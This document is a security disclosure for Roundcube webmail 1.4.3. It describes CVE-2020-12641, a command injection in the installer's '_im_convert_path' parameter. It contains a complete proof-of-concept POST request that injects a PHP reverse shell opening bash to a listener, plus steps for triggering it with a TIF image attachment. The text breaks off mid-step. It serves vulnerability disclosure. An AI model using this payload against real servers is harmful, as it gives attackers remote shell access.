Roundcube Disclosures

Version 1.4.3

Environment:

- Roundcube Version 1.4.3
- Linux

Findings:

1. CVE-2020-12641: Command Injection via "_im_convert_path" Parameter

Description:

Because the "_im_convert_path" does not perform sanitization/input filtering, an attacker with access to the Roundcube Installer can inject system commands in this parameter that will execute when any user opens any email containing a non-standard image file.

Proof of Concept:

In order to reproduce this vulnerability, the following steps are required:

1.1. Send a POST request to the Installer containing the "_im_convert_path" parameter:

```
POST /roundcube/installer/index.php HTTP/1.1
Host: 192.168.243.153
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 1049

_step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww
%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_sp
ellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml
%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=loc
alhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5
B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_
trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=5
87&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_
mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=3
00&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=en
igma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&_im_convert_path=php+-
r+'$sock%3dfsockopen("127.0.0.1",4444)%3bexec("/bin/bash+-i+<%263+>%263+2>%263")%3b'+%23
```

Note: In this case the parameter contains a PHP reverse shell payload

1.2. Send an email containing an image of non-standard format (in this case a “TIF” format image), which Roundcube will try to convert to “JPG” format, thus triggering the above code and sending a reverse shell to the attacker: